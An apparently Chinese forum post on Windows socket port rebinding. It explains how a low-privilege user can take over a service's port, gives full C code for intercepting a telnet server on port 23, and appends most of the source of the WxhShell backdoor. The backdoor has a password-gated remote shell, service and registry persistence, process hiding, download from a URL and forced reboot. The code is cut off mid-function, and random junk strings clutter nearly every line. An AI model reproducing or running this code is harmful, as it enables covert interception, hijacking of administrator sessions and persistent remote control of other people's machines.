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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w*ktx{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B l/e>@M  
[c!vsh]^  
  saddr.sin_family = AF_INET;  iIEIGQx  
~ V- o{IA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }]GK@nn7  
5sCk y)N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b!HFv;^N  
;WAu]C|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _ktSTzH0  
?d#(ian  
  这意味着什么?意味着可以进行如下的攻击: ?'#;Y"RT  
(X7yNIPfA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HY|SLk/E  
,Y5 4(>>%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #<>E+r+  
zr9Pm6Rl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &E '>+6  
RkV3_c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Sm_:SF!<D6  
^A<.s_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h=y(2xA  
:Du{8rV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u]-El}*[  
K~%5iVO~\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U"kK]Stk<  
1 'pQ,  
  #include Cv7RCjMw  
  #include ~HI0<;r=eL  
  #include s ;Nu2aOp7  
  #include    XUNgt(OGR'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5h^qtK  
  int main() (9_e >2_  
  { $`{q =  
  WORD wVersionRequested; ] "vdC}  
  DWORD ret; ]Oh>ECA|D  
  WSADATA wsaData; CrX-?$  
  BOOL val; ?iO^b.'I#  
  SOCKADDR_IN saddr; 7IW7'klkvD  
  SOCKADDR_IN scaddr; \mit&EUh}  
  int err; A_ z:^9  
  SOCKET s; p 8Hv7*  
  SOCKET sc; Y tj>U  
  int caddsize; ] r+I D  
  HANDLE mt; 2xBGs9_Y  
  DWORD tid;   JJOs L!@  
  wVersionRequested = MAKEWORD( 2, 2 ); |Qq'_4:  
  err = WSAStartup( wVersionRequested, &wsaData ); ^n5QK HD  
  if ( err != 0 ) { h4xdE 0  
  printf("error!WSAStartup failed!\n"); F qyJ*W\1  
  return -1; dsoRPX']=  
  } F+-MafN7Y  
  saddr.sin_family = AF_INET; 2p.+C35c=j  
   xx#Ef@bS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9.}3RAB(cv  
<sG>[\i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =n?@My?;  
  saddr.sin_port = htons(23); E0Xu9IW/A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S?WUSx*N  
  { zMg^2{0L  
  printf("error!socket failed!\n"); ~2 ;y4%K  
  return -1; Dp'af4+%$  
  } ;b2>y>?[  
  val = TRUE; Raqr VC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TU6EE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~a)2 0  
  { r|$g((g  
  printf("error!setsockopt failed!\n"); KiHAm|,  
  return -1;  7cQw?C  
  } n8C {Okr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !}m 8]&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }E_zW.{!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KDzIarC  
7cSvAX0Z.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lsxii-#O  
  { j}Mpc;XOc  
  ret=GetLastError(); M/ \~  
  printf("error!bind failed!\n"); h 'CLf]  
  return -1; SK2pOZN  
  } t/c^hTT  
  listen(s,2); #Z5~a9rO  
  while(1) "lMWSCas  
  { PkO(Y!  
  caddsize = sizeof(scaddr); 6n4S$a  
  //接受连接请求 \EqO;A%<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @72G*u\Wz  
  if(sc!=INVALID_SOCKET) h<jIg$rA  
  { <m\TZQBD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v2SsfhT  
  if(mt==NULL) Y*Rqgpu $  
  { hD=D5LYAZ  
  printf("Thread Creat Failed!\n"); P=g+6-1  
  break; KJ |1zCM  
  } *V+fRN4 W  
  } \8H"lcj:  
  CloseHandle(mt); oOw"k*,h:S  
  } ^ `9OA`2  
  closesocket(s); lTNkmQ  
  WSACleanup(); -UE-v  
  return 0; |MGw$  
  }   aUQq<H'R  
  DWORD WINAPI ClientThread(LPVOID lpParam) WocFID:b  
  { OTm"Iwzu@  
  SOCKET ss = (SOCKET)lpParam; Ds$;{wl#x  
  SOCKET sc; F U%b"gP^  
  unsigned char buf[4096]; |9@;Muq;  
  SOCKADDR_IN saddr; R 1\]Y  
  long num; }'JPA&h|  
  DWORD val; /$Jh5Bv  
  DWORD ret; f:>jH+o.S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Iu]P^8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   HkCme_y"  
  saddr.sin_family = AF_INET; e&kg[jU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {643Dz<e  
  saddr.sin_port = htons(23); 'McVaPav  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T!AQJ:;1  
  { $~l :l[Zs  
  printf("error!socket failed!\n"); \>Q,AyL  
  return -1; ZGBcy}U(k  
  } _=p|"~rN$  
  val = 100; #YV;Gp(2h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CK%W +";  
  { 6y5~Kh6  
  ret = GetLastError(); UJ+JVj   
  return -1; p<NgT1"{  
  } l,3tU|V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uW|y8 BP $  
  { $1F9TfA  
  ret = GetLastError(); 4O'ho0w7  
  return -1; UHwrssX&3  
  } ?2a gU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) # jyAq$I0  
  { 6C=.8eP  
  printf("error!socket connect failed!\n"); nfEk,(:  
  closesocket(sc); xae7#d0  
  closesocket(ss); T/nRc_I+^B  
  return -1; V"z0]DP5~  
  } 9lwg`UWl,  
  while(1) mD:!"h/  
  { '>8N'*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D[_2:8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mv_-|N~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4i\n1RW  
  num = recv(ss,buf,4096,0); j  jQ=  
  if(num>0) v}U;@3W8U  
  send(sc,buf,num,0); B("kE`  
  else if(num==0) _;9)^})$  
  break; p;HZA}p \  
  num = recv(sc,buf,4096,0); F$v G=3  
  if(num>0) ]v@,>!Wn  
  send(ss,buf,num,0); CEiG jo^  
  else if(num==0) f3O'lc3  
  break; }OZfsYPz}T  
  } d p].FS  
  closesocket(ss); qp8;=Nfa  
  closesocket(sc); +a{>jzR  
  return 0 ; P^z)]K#sw  
  } 4-AmzU  
-#@;-2w  
ZzY6M"eUXD  
========================================================== p}\!"&,^m  
!!AutkEg>  
下边附上一个代码,,WXhSHELL (<t)5?@%  
f#?R!pR  
========================================================== ^"I!+Teb  
P]G2gDO  
#include "stdafx.h" lnhZ!_  
S!uyplYKF  
#include <stdio.h> ]`x~v4JU  
#include <string.h> l?d*g&  
#include <windows.h> xK f+.6 wz  
#include <winsock2.h> gw-l]@;1  
#include <winsvc.h>  _~r>C  
#include <urlmon.h> "&~Um U4CN  
wiZK-#\x  
#pragma comment (lib, "Ws2_32.lib") 6N ^FJCs  
#pragma comment (lib, "urlmon.lib") b^1!_1c  
_?8T'?-1  
#define MAX_USER   100 // 最大客户端连接数 NB[b[1 Ch  
#define BUF_SOCK   200 // sock buffer EJZ2V>\_-0  
#define KEY_BUFF   255 // 输入 buffer Ec|#i  
S; >_9  
#define REBOOT     0   // 重启 IcN|e4t^J+  
#define SHUTDOWN   1   // 关机 N 6eY-`4y  
Lgy}Gm8u5  
#define DEF_PORT   5000 // 监听端口 }6\p7n  
3Dy.mtP  
#define REG_LEN     16   // 注册表键长度 5,A/6b  
#define SVC_LEN     80   // NT服务名长度 "{}5uth  
2Ig.hnHj  
// 从dll定义API }\B6d\k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sBh|y F,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /h;X1Htx}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?6|EAKJ`lK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SI\zW[IL  
9 HuE'(wQ  
// wxhshell配置信息 MQAb8 K:e  
struct WSCFG { 9 ItsK  
  int ws_port;         // 监听端口 ^#Shs^#  
  char ws_passstr[REG_LEN]; // 口令 tkA '_dcIC  
  int ws_autoins;       // 安装标记, 1=yes 0=no crUXpD  
  char ws_regname[REG_LEN]; // 注册表键名 dS-l2 $n  
  char ws_svcname[REG_LEN]; // 服务名 {ES3nCL(8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N:0mjHG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IP-mo!Y.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i;cqK&P;]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *v6'I-#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z}Q54,9m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H}d&>!\}F  
nI-\HAX  
}; Gk<h_1WWK  
>zhbOkR9c  
// default Wxhshell configuration ke/QFN-`  
struct WSCFG wscfg={DEF_PORT, 9G&l{7=  
    "xuhuanlingzhe", 0h* AtZv_  
    1, <~]s+"oVc  
    "Wxhshell", 3]T2Zp&;  
    "Wxhshell", m}k rG  
            "WxhShell Service", Rh%x5RFFc  
    "Wrsky Windows CmdShell Service", *@dqAr%  
    "Please Input Your Password: ", t>^An:xT  
  1, I-^Y$6-  
  "http://www.wrsky.com/wxhshell.exe",  RszqDm  
  "Wxhshell.exe" SNcaIzbr  
    }; +<I>]J2  
\ ^_3Yw  
// 消息定义模块 YS &3+Tp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 74>.E^ /x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |]V0sgpoZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \S _ycn  
char *msg_ws_ext="\n\rExit."; (@]{=q<  
char *msg_ws_end="\n\rQuit."; "gYn$4|R7*  
char *msg_ws_boot="\n\rReboot..."; zXB.)4T  
char *msg_ws_poff="\n\rShutdown..."; (JOge~U  
char *msg_ws_down="\n\rSave to "; tONxV`  
&GX pRo  
char *msg_ws_err="\n\rErr!"; 2\_}81 hM  
char *msg_ws_ok="\n\rOK!"; /S%{`F=  
C"K(-/  
char ExeFile[MAX_PATH]; H_Vf _p?  
int nUser = 0; v#F .FK  
HANDLE handles[MAX_USER]; JpN+'/  
int OsIsNt; 4~DoqT  
aqtQGK57"%  
SERVICE_STATUS       serviceStatus; 1O8RGk4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 074)(X&:x  
kLK}N>v}X  
// 函数声明 VXQ~PF]z0  
int Install(void); oJEind>8O  
int Uninstall(void); JS} iNS'X  
int DownloadFile(char *sURL, SOCKET wsh); D >$9(  
int Boot(int flag); 46sV\In>?  
void HideProc(void); rF'q\tJDz  
int GetOsVer(void); 3nMXfh/  
int Wxhshell(SOCKET wsl); n1X7T0'  
void TalkWithClient(void *cs); 2+50ezsId  
int CmdShell(SOCKET sock); w\!aKeP'  
int StartFromService(void); cE'MSB  
int StartWxhshell(LPSTR lpCmdLine); NLRgL'+F  
v="i0lL_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zgd| J T7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |4UW.dGHPo  
 s'RE~,  
// 数据结构和表定义 XX+%:,G  
SERVICE_TABLE_ENTRY DispatchTable[] = Ny\p$v "p  
{ G[GSt`LVS`  
{wscfg.ws_svcname, NTServiceMain}, .}C pX  
{NULL, NULL} yal T6  
}; Qt` }$]  
DHQavHqbZ  
// 自我安装 ly9.2<oz}L  
int Install(void) >La!O~d  
{ 1?\G6T  
  char svExeFile[MAX_PATH]; )cxLpTr  
  HKEY key; K_;'-B  
  strcpy(svExeFile,ExeFile); ]y:2OP  
+/E`u|%|\]  
// 如果是win9x系统,修改注册表设为自启动 1%g%I8W%  
if(!OsIsNt) { 0e-M 24,C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7M9Ey29f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j&~`H:=E  
  RegCloseKey(key); =f4>vo}@k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  [,JUC<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VXX7Y? !  
  RegCloseKey(key); DvhJkdLB>  
  return 0; Pv@Lx+ k  
    } 1ayL*tr  
  } L;6L@D6  
} $}+t|`*q8]  
else { RDGefxv  
,ELbm  
// 如果是NT以上系统,安装为系统服务 \iVb;7r)9:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xA/Ein0  
if (schSCManager!=0) oK\{#<gCZ  
{ ai0am  
  SC_HANDLE schService = CreateService DC+ p s  
  ( @'P\c   
  schSCManager, /r2*le (H  
  wscfg.ws_svcname, \\}tD@V"  
  wscfg.ws_svcdisp, eb10=Lmj  
  SERVICE_ALL_ACCESS, e*K1";  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "h58I)O  
  SERVICE_AUTO_START, 2Tt^^Lb  
  SERVICE_ERROR_NORMAL, m%7T ~  
  svExeFile, I8M^]+c  
  NULL, ;XAj/6pm  
  NULL, 20h+^R3{Z  
  NULL, =r=?N\7I  
  NULL, NFsj ~6F#  
  NULL ;l4 epN  
  ); rs`"Kz`(  
  if (schService!=0) O7,)#{  
  { &-.NkW@  
  CloseServiceHandle(schService); <9Sg,ix't  
  CloseServiceHandle(schSCManager); \?EnTu.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qGivRDR$  
  strcat(svExeFile,wscfg.ws_svcname); O S?S$y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dK.k,7R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AXN%b2  
  RegCloseKey(key); 8p"R4  
  return 0; @?bO@  
    } 7UnB]-:.  
  } xQA6!j  
  CloseServiceHandle(schSCManager); zw ,( kv  
} 4Kl{^2  
} !N"Y  
$<DcbJW  
return 1; K-X@3&X}  
} }LYK:?_/  
9S<g2v  
// 自我卸载 k z{_H`5.  
int Uninstall(void) J)I|Xot  
{ ^t0Yh%V7  
  HKEY key; pXPLTGY<R+  
2,T^L (]  
if(!OsIsNt) { wg.TCT2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "fH"U1Bw  
  RegDeleteValue(key,wscfg.ws_regname); VUd=|$'J  
  RegCloseKey(key); n=_jmR1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v#X l  
  RegDeleteValue(key,wscfg.ws_regname); 25R6>CXsi  
  RegCloseKey(key); #]SiS2lM#  
  return 0; x b6X8:  
  } 'cgB$:T}.,  
} YZ\a#s ,0  
} 4;;K1< 1  
else { `514HgR  
OK8|w]-A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2WF7^$^:  
if (schSCManager!=0) o W<Z8s;p  
{ ^E]Xq]vd"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +5<]s+4T  
  if (schService!=0)  X<p'&  
  { x9Oo.[  
  if(DeleteService(schService)!=0) { hAi`2GP.  
  CloseServiceHandle(schService); f?Am)  
  CloseServiceHandle(schSCManager); -5X*y4#  
  return 0; a]]>(Txc  
  } myq:~^L ;  
  CloseServiceHandle(schService); =CqZ$  
  } e09('SON(  
  CloseServiceHandle(schSCManager); .).}ffhOL  
} ,'}qLor  
} N0mP EF2  
#0uD&95<  
return 1; $-*E   
}  "o{o9.w  
yH<a;@C  
// 从指定url下载文件 4+1aW BJ2  
int DownloadFile(char *sURL, SOCKET wsh) G_cWp D/  
{ jT:z#B%  
  HRESULT hr; + 7~u_J  
char seps[]= "/"; /$-Tg)o5i  
char *token; v{2euOFE  
char *file; .$]%gjIBCl  
char myURL[MAX_PATH]; +CaA%u  
char myFILE[MAX_PATH]; ;l$F<CzJay  
kZU v/]Y.  
strcpy(myURL,sURL); ud`!X#e~  
  token=strtok(myURL,seps); n`TXm g  
  while(token!=NULL) Pbo759q 1  
  { }K3!ujvR  
    file=token; }.S4;#|hw  
  token=strtok(NULL,seps); Xg^9k00C  
  } Tm) (?y  
kD?lMA__  
GetCurrentDirectory(MAX_PATH,myFILE); a}p}G\b|  
strcat(myFILE, "\\"); >Y>>lE! k  
strcat(myFILE, file); =[Z uE0c  
  send(wsh,myFILE,strlen(myFILE),0); i*l-w4D^U  
send(wsh,"...",3,0); ]>T4\?aC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )}|b6{{<  
  if(hr==S_OK) vw5f|Q92  
return 0; wR@"]WkR=  
else :=cZ,?PQp1  
return 1; c7~>uNgJ  
@w[2 BaDt  
} 3@*orm>em  
+$SJ@IH[<  
// 系统电源模块 *p  !F+"  
int Boot(int flag) 4n5r<?rY  
{  G9qN1q~  
  HANDLE hToken; EmFL %++V  
  TOKEN_PRIVILEGES tkp; -:]-g:;/  
=ICakh!TO  
  if(OsIsNt) { ;D>*Pzj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~u^MRe|`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @b@#  o  
    tkp.PrivilegeCount = 1; ^6kE tTO*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K.P1|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^$VH~i&  
if(flag==REBOOT) { m2esVvP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^V;h>X|  
  return 0; b,r{wrLe)  
} XUK!1}  
else { knb 9s`wR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fC<pCdsg  
  return 0; I/vQP+w O  
} h,!`2_&UQ  
  } Hsl0|jy(/  
  else { /$Ca }>  
if(flag==REBOOT) { e]Q bC "  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?y`we6~\1  
  return 0; S?BI)shmg  
} B3 NDx+%m  
else { #fQ}8UxU,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [5T{`&  
  return 0; e0 &x?U*/  
} Wm#F~<$  
} 6-6ha7]s  
X:kqX[\>  
return 1; <>?7veN92  
} |%~Zo:Q<$>  
l'm\ *=3  
// win9x进程隐藏模块 Z^_-LX:%  
void HideProc(void) *k^'xL  
{ T P#Hq  
_7=LSf,9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WH^^.^(i  
  if ( hKernel != NULL ) +> Xe_  
  { ih\=mB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JK=0juv<E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L,7+26XV"B  
    FreeLibrary(hKernel); o >Faq+@  
  } s"-gnW  
mLb>*xt$b@  
return; >Y 8\I  
} zg+6< .Sf  
Y k @/+PE  
// 获取操作系统版本 6t!PHA  
int GetOsVer(void) hg Pzx@  
{ glI4Jb_[  
  OSVERSIONINFO winfo; s1kG:h2|$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C;jV)hr6P  
  GetVersionEx(&winfo); S( Vssi|y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q XLHQ_V  
  return 1; zNRR('B?  
  else HpGI\s  
  return 0; Zv|TvlyT"  
} Uw5AHq).  
=6H  
// 客户端句柄模块 EgB$y"fs  
int Wxhshell(SOCKET wsl) i8Xz'Sw07  
{ FhJtiw@  
  SOCKET wsh; bg/a5$t  
  struct sockaddr_in client; |SSe n#PYp  
  DWORD myID; !E.CpfaC  
`2l j{N  
  while(nUser<MAX_USER) 3D^!U}E  
{ mnm 7{?#[  
  int nSize=sizeof(client); IDn$w^"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +JlPQ~5  
  if(wsh==INVALID_SOCKET) return 1; SDHJX8Hq  
;w(tXcXZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DU|>zO%  
if(handles[nUser]==0) AU3>v  
  closesocket(wsh); , aJC7'(  
else 9kby-A4  
  nUser++; {\p&?  
  } ;&OVV+y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ttfCiP$  
Pk/3oF  
  return 0; ]}z"H@k  
} ,9YgznQ  
&qMt07  
// 关闭 socket Tg_#z  
void CloseIt(SOCKET wsh) ["N_t:9I  
{ kR/Etm5_  
closesocket(wsh); 3;Y 9<  
nUser--; @|6#]&v`  
ExitThread(0); $az9Fmta  
} @wPyXl  
 P0<)E  
// 客户端请求句柄 H63?Erh>a  
void TalkWithClient(void *cs) Cc}3@Nf{/  
{ #w1E3ahaX  
E x )fXQ+  
  SOCKET wsh=(SOCKET)cs; WWgJ !Uz  
  char pwd[SVC_LEN]; %*a%F~Ss  
  char cmd[KEY_BUFF]; (U([T-H  
char chr[1]; Lc! t  
int i,j; cTa$t :K@  
6R#.AD\  
  while (nUser < MAX_USER) { b-?d(-  
~jD~_JGp  
if(wscfg.ws_passstr) { GWW#\0*Bn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a%*W( 4=Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sa w  
  //ZeroMemory(pwd,KEY_BUFF); c@|f'V4  
      i=0; #I}w$j i  
  while(i<SVC_LEN) { Wf{&D>  
awU&{<,=g  
  // 设置超时 <TEDqQ  
  fd_set FdRead; 9][A1 +"  
  struct timeval TimeOut; d A>6  
  FD_ZERO(&FdRead); ',m!L@7M5  
  FD_SET(wsh,&FdRead); DDBf89$\  
  TimeOut.tv_sec=8; %G/(7l[W  
  TimeOut.tv_usec=0; pF<KhE*V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `dJ?j[P,p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S5/p3;O\c  
qlm7eS"sy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q_86nvB<  
  pwd=chr[0]; oCSJ<+[(C  
  if(chr[0]==0xd || chr[0]==0xa) { &6&$vF65c  
  pwd=0; l&{+3aC:  
  break; @B9O*x+n:  
  } MmH(dp+  
  i++; Y$0K}`{  
    } [oG Sy5bB  
"?S> }G\  
  // 如果是非法用户,关闭 socket %0q)PT\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }m93AL_y  
} w~ O)DhC  
*hlinQKs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7bL48W<QD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q`!<2i;  
zb. ^p X  
while(1) { 1 &-%<o  
%@^9(xTE  
  ZeroMemory(cmd,KEY_BUFF); Pf#DBW*  
q'KXn0IY#  
      // 自动支持客户端 telnet标准   ,% *Jm  
  j=0; I/_,24[  
  while(j<KEY_BUFF) { F0KNkL>&g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (V<pz2\  
  cmd[j]=chr[0]; @r]1;KG  
  if(chr[0]==0xa || chr[0]==0xd) { y\XWg`X y  
  cmd[j]=0; 48LzI@H&  
  break; u85?f  
  } f"Kl? IN8  
  j++; mk[<=k~  
    } ZO& F15$P  
jygKw+C  
  // 下载文件 H+npe'm_Z  
  if(strstr(cmd,"http://")) { 8I<LZ{a10  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); % |G"ZPO?  
  if(DownloadFile(cmd,wsh)) LX</xI08W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JlE b  
  else Xu& v3Y~k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qJK-HF:#  
  } N**" u"CX  
  else { j$Vtd &  
^~W s4[Guo  
    switch(cmd[0]) { GB{Q)L  
  , %A2wV  
  // 帮助 xM13OoU  
  case '?': { sfR0wEqI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fiaeo0  
    break; rq|>z.  
  } V PI_pK  
  // 安装 3Y=uBl  
  case 'i': { I&>5b7Uf  
    if(Install()) ]~7xq)28  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9M7Wlx2  
    else ESi-'R&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mhMRY9ahB  
    break; 4 IXa[xAm  
    } NT<}-^  
  // 卸载 i+~H~k}"X  
  case 'r': { lB(P+yY,/'  
    if(Uninstall()) ~`<_xIvrq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 23'Ac,{  
    else A?H.EZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G$1gk^G's  
    break; ,8+Jt@L  
    } # N'_~:H  
  // 显示 wxhshell 所在路径 m_b_)/  
  case 'p': { [Y8ot-6  
    char svExeFile[MAX_PATH]; G&#l3bkQ  
    strcpy(svExeFile,"\n\r"); |3=tF"h  
      strcat(svExeFile,ExeFile); :s#&nY  
        send(wsh,svExeFile,strlen(svExeFile),0); M [6WcH0/T  
    break; ]?V2L`/  
    } PjkjUP  
  // 重启 cWp5pGIzfp  
  case 'b': { =z9FjK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >/7[HhBT  
    if(Boot(REBOOT)) /,3:<I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !L@^Zgs|@?  
    else { A2"$B\j1  
    closesocket(wsh); yTh60U  
    ExitThread(0); +?uZ~VSl  
    } 5mg] su&#  
    break; e@L?jBj8m  
    } 9On(b|mT  
  // 关机 4H hQzVM{  
  case 'd': { I=|}%WO#  
